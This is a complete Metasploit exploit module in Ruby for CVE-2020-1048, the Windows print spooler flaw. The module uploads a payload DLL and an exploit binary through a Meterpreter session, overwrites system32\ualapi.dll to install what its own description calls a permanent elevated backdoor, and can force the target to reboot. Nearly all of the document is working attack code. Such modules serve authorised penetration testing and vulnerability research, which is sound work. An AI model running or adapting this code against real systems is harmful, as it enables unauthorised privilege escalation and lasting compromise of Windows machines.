##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',
        'Description' => %q{
          This exploit leverages a file write vulnerability in the print spooler service
          which will restart if stopped.  Because the service cannot be stopped long
          enough to remove the dll, there is no way to remove the dll once
          it is loaded by the service.  Essentially, on default settings, this module
          adds a permanent elevated backdoor.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Yarden Shafir', # Original discovery
          'Alex Ionescu', # Original discovery
          'shubham0d', # PoC
          'bwatters-r7' # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2019-11-04',
        'References' => [
          ['CVE', '2020-1048'],
          ['URL', 'https://windows-internals.com/printdemon-cve-2020-1048/']
        ],
        'DefaultOptions' => {
          'DisablePayloadHandler' => true
        },
        'Notes' => {
          'Stability' => [ CRASH_OS_RESTARTS ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options([
      OptString.new('EXPLOIT_NAME',
                    [true, 'The filename to use for the exploit binary (%RAND% by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
      OptString.new('PAYLOAD_NAME',
                    [true, 'The filename for the payload to be used on the target host (%RAND%.dll by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
      OptString.new('WRITABLE_DIR',
                    [false, 'Path to write binaries (%TEMP% by default).', nil]),
      OptString.new('OVERWRITE_DLL',
                    [false, 'Filename to overwrite (%WINDIR%\system32\ualapi.dll by default).', nil]),
      OptBool.new('RESTART_TARGET',
                  [true, 'Restart the target after exploit (you will lose your session until a second reboot).', false]),
      OptInt.new('EXECUTE_DELAY',
                 [true, 'The number of seconds to delay between file upload and exploit launch', 3])
    ])
  end

  def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit: false)
    # Upload Exploit
    if target_arch == ARCH_X86
      vprint_status('Using x86 binary')
      exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.Win32.exe')
    else
      vprint_status('Using x64 binary')
      exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.x64.exe')
    end
    vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
    if file?(exploit_path)
      print_error("#{exploit_path} already exists")
      return false unless force_exploit
    end
    fail_with(Failure::BadConfig, 'No exploit binary found') if exploit_bin.nil?
    write_file(exploit_path, exploit_bin)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")

    # Run Exploit
    vprint_status('Running Exploit')
    begin
      output = cmd_exec('cmd.exe', "/c #{exploit_path} #{destination_file} #{source_file}")
    rescue Rex::TimeoutError => e
      elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)
      print_error('Caught timeout.  Exploit may be taking longer or it may have failed.')
    end
    output
  end

  def exploit
    exploit_name = datastore['EXPLOIT_NAME']
    vprint_status("exploit_name = #{exploit_name}")
    exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
    payload_name = datastore['PAYLOAD_NAME']
    if datastore['OVERWRITE_TARGET'].nil? || datastore['OVERWRITE_TARGET'].empty?
      win_dir = session.sys.config.getenv('windir')
      overwrite_target = "#{win_dir}\\system32\\ualapi.dll"
    else
      overwrite_target = datastore['OVERWRITE_TARGET']
    end
    temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
    payload_path = "#{temp_path}\\#{payload_name}"
    exploit_path = "#{temp_path}\\#{exploit_name}"
    payload_dll = generate_payload_dll

    # Check target
    vprint_status('Checking Target')
    validate_active_host
    validate_payload
    fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)

    # Upload Payload
    vprint_status('Uploading Payload')
    ensure_clean_destination(payload_path)
    write_file(payload_path, payload_dll)
    print_status("Payload (#{payload_dll.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
    print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
    vprint_status("Sleeping for #{datastore['EXECUTE_DELAY']} seconds before launching exploit")
    sleep(datastore['EXECUTE_DELAY'])

    # Run the exploit
    output = cve_2020_1048_privileged_filecopy(overwrite_target, payload_path, exploit_path, sysinfo['Architecture'])
    vprint_status("Exploit output:\n#{output}")
    sleep(1) # make sure exploit is finished
    vprint_status("Removing #{exploit_path}")
    session.fs.file.rm(exploit_path)

    # Reboot, if desired
    if datastore['RESTART_TARGET']
      sleep(10)
      vprint_status("Rebooting #{sysinfo['Computer']}")
      reboot_command = 'shutdown /r'
      begin
        cmd_exec('cmd.exe', "/c #{reboot_command}")
      rescue Rex::TimeoutError => e
        elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)
        print_error('Caught timeout.  Exploit may be taking longer or it may have failed.')
      end
    end
  end

  def validate_active_host
    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
  rescue Rex::Post::Meterpreter::RequestError => e
    elog('Could not connect to session', error: e)
    raise Msf::Exploit::Failed, 'Could not connect to session'
  end

  def validate_payload
    vprint_status("Target Arch = #{sysinfo['Architecture']}")
    vprint_status("Payload Arch = #{payload.arch.first}")
    unless payload.arch.first == sysinfo['Architecture']
      fail_with(Failure::BadConfig, 'Payload arch must match target arch')
    end
  end

  def check
    version = get_version_info

    vprint_status("OS version: #{version}")
    return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)

    return Exploit::CheckCode::Safe
  end

  def ensure_clean_destination(path)
    return unless file?(path)

    print_status("#{path} already exists on the target. Deleting...")
    begin
      file_rm(path)
      print_status("Deleted #{path}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog(e)
      print_error("Unable to delete #{path}")
    end
  end
end
